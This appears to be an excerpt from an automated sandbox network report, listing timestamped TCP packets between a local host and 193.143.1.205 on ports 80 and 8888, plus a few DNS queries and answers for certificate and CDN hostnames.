Jan 11, 2025 08:44:27.118007898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118009090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118036985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118050098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118062973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118092060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118098974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118117094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118155956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118192911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118206024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118216038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118227959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118238926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118242979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118272066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118297100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118315935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118324995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118340969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118354082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118367910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118367910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118412971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118467093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118484974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118524075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118556976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118568897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118580103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118626118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118706942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118717909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118724108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118732929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118738890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118745089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118803024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118824005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118834972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118846893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118858099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.118875027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.118899107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.144855022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.144879103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.144889116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.144916058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.144927025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.144977093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.144979954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.144992113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145035028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.145067930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.145154953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145174026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145212889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.145214081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145266056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145278931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145308971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.145376921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145390034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145401955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145414114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145417929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.145446062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.145459890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.145502090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171143055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171200037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171211958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171224117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171246052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171272039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171286106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171298981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171309948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171341896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171350002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171365023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171375990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171396017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171421051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171447039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171459913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171472073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171484947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171499968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171525955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171530962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171545029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171577930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171611071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171623945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171637058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171648026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171659946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.171674013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.171699047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.202917099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.202946901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.202959061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.202969074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203044891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203059912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203063965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203066111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203104973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203104973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203120947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203140020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203147888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203152895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203166962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203183889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203221083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203320026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203331947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203344107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203356028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203366041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203371048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203380108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203413010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203414917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203423977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203435898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203439951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203449011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203461885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203468084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203494072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203557968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203568935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203579903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203592062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203603029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203607082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203615904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203634024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203661919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203694105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203706980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203717947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203730106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203733921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203762054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203807116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203819036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203830957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203843117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203855991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203880072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203938007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203950882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203963041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203974009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203979969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.203988075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.203999996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204010963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204027891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204075098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204094887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204111099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204122066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204123974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204133987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204145908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204150915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204159975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204175949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204204082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204304934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204318047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204329967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204341888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204351902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204354048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204365015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204387903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204401970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204487085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204499006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204509974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204520941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204535961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204546928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204547882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204559088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204572916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204586983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.204617977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204629898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.204658985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.217288017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222234011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222246885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222259998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222270012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222281933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222294092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222301006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222306967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222338915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222358942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222431898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222444057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222455025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222465992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222477913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222486019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222490072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222501993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222512007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222513914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222539902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222557068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222645044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222656965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222667933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222680092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222691059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222697020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222704887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222724915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.222726107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.222749949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.228135109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.235038042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235085011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235093117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.235097885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235111952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235129118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235151052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.235169888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.235193014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235204935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235218048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.235246897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261012077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261022091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261032104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261039019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261082888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261087894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261128902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261157036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261158943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261171103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261204004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261204958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261226892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261239052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261267900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261311054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261322975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261332989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261377096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261380911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261393070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261404037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261431932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261528969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261540890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261552095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261564016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261571884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261575937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261588097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261598110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261600971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.261629105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.261652946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.292825937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292846918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292859077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292869091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292880058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292891026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292900085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.292903900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292928934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.292947054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.292982101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.293014050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.293025970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.293072939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.293097019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.293116093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.293149948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.316976070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.327636003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.823405981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:28.478074074 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:28.482913971 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:28.483158112 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:28.483211040 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:28.488096952 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:29.281352997 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:29.323885918 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:31.734767914 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:44:36.647396088 CET	52253	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:44:36.647396088 CET	192.168.2.8	1.1.1.1	0x27b7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:44:36.654761076 CET	1.1.1.1	192.168.2.8	0x27b7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:44:37.354667902 CET	1.1.1.1	192.168.2.8	0xd7bf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:44:37.354667902 CET	1.1.1.1	192.168.2.8	0xd7bf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
